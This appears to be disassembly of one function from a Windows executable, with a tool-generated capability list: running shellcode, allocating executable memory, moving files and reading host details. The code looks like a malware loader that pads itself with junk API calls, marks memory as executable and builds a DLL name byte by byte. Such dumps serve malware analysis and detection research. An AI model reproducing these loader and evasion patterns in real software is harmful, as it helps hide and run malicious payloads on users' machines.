Function at 0x41c0c0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get hostname
Move file
Query environment variable
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1c58
call fcn.00409c50
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x24]
push esi
push edi
mov edi, dword [sym.imp.GDI32.dll_SelectPalette]
xor esi, esi
cmp esi, 0x1e0b0
jge 0x41c0fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0
call edi
cmp esi, 0x1e9a102e
jle 0x41c112
cmp ebx, 0xbf2068
je 0x41c112
cmp ebp, 0x88e0740
jne 0x41c11b
inc esi
cmp esi, 0x9b0b6
jl 0x41c0e4
cmp dword [0x70142c], 0xcf8
jne 0x41c1e0
lea eax, [esp + 0x20]
push eax
push 0
push 0x402bf4
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0x70142c], 0x3a
jne 0x41c15c
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push 0
call dword [sym.imp.SHELL32.dll_DragFinish]
push 0
push 0
push 0
call fcn.0040331c
add esp, 0xc
push 0x402c1c
push 0
call fcn.0040331c
push 0
push 0
call fcn.00402fc0
push 0
call fcn.00403305
add esp, 0x14
push 0
call fcn.004033d9
add esp, 4
push 0
push 0
call fcn.0040302d
push 0
call fcn.0040306d
add esp, 0xc
push 0
call fcn.0040306d
add esp, 4
push 0
push 0
call fcn.0040302d
push 0
call fcn.00402ff3
add esp, 0xc
push 0
push 0
push 0
push 0
call fcn.004031bb
add esp, 0x10
jmp 0x41c1e0
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
cmp esi, 0x408
jne 0x41c207
mov eax, 0x5d1
add dword [0x70142c], eax
cmp dword [0x70142c], 3
jne 0x41c225
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
lea ecx, [esp + 0x6c]
push ecx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41c1f4
mov edx, dword [0x70142c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileType]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov dword [0x43b9bc], eax
mov eax, dword [0x70142c]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 3
jne 0x41c28a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0x68]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x70142c]
cmp eax, 0xdf
jne 0x41c327
push 0
call esi
lea ecx, [esp + 0x1c]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
lea edx, [esp + 0x46c]
push edx
push 0
push 0x402c28
push 0
push 0
call ebp
push 0x402c50
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
lea eax, [esp + 0x6c]
push eax
push 0
call ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0xc6c]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea eax, [esp + 0x28]
push 0
push eax
mov dword [esp + 0x2c], 0
call fcn.00406940
add esp, 0xc
push 0
lea ecx, [esp + 0x24]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov eax, dword [0x70142c]
dec dword [esp + 0x18]
jne 0x41c267
xor esi, esi
test eax, eax
je 0x41c38e
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebp, dword [sym.imp.KERNEL32.dll_FatalAppExitW]
cmp eax, 0xfe
jne 0x41c363
push 0
call edi
push 0
push 0
call ebx
push 0x402c68
push 0
call ebp
call fcn.0041be70
mov eax, dword [0x70142c]
cmp eax, 0x29
jne 0x41c389
push 0
push 0x402d0c
push 0x402d20
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov eax, dword [0x70142c]
inc esi
cmp esi, eax
jb 0x41c349
cmp eax, 0x70
jne 0x41c3f8
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0x402d8c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [esp + 0x468]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov esi, 0x3a5e74
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0
push 0
call ebx
dec esi
jne 0x41c409
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov edi, 0x25887
jmp 0x41c430
cmp dword [0x70142c], 0x222
jne 0x41c447
push 0x402dc0
push 0
push 0
call esi
dec edi
jne 0x41c430
mov eax, dword [0x70142c]
mov ecx, dword [0x43b9bc]
lea edx, [esp + 0x14]
push edx
push 0x40
push eax
push ecx
mov byte [0x436c28], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0041c080
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor esi, esi
jmp 0x41c480
cmp dword [0x70142c], 0xba
jne 0x41c49c
lea edx, [esp + 0x14]
push edx
push 0
lea eax, [esp + 0x28]
push eax
push 0
call edi
cmp esi, 0x2f64
jne 0x41c4ae
add dword [0x43b9bc], 0x4cc1
inc esi
cmp esi, 0x1605a
jl 0x41c480
push 0x436c28
mov dword [0x436c2a], 0x33676d69
mov word [0x436c28], 0x736d
mov dword [0x436c30], 0x6c6c64
mov word [0x436c2e], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x70142c], 0xc30
jne 0x41c5b7
lea ecx, [esp + 0xc68]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea edx, [esp + 0x68]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0x402e28
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
lea eax, [esp + 0x18]
push eax
push 0
lea ecx, [esp + 0x474]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessId]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
lea edx, [esp + 0x146c]
push edx
push 0x402e6c
push 0x402e94
push 0x402eac
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
push 0x30
lea eax, [esp + 0x28]
push 0
push eax
mov dword [esp + 0x2c], 0
call fcn.00406940
add esp, 0xc
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x24]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret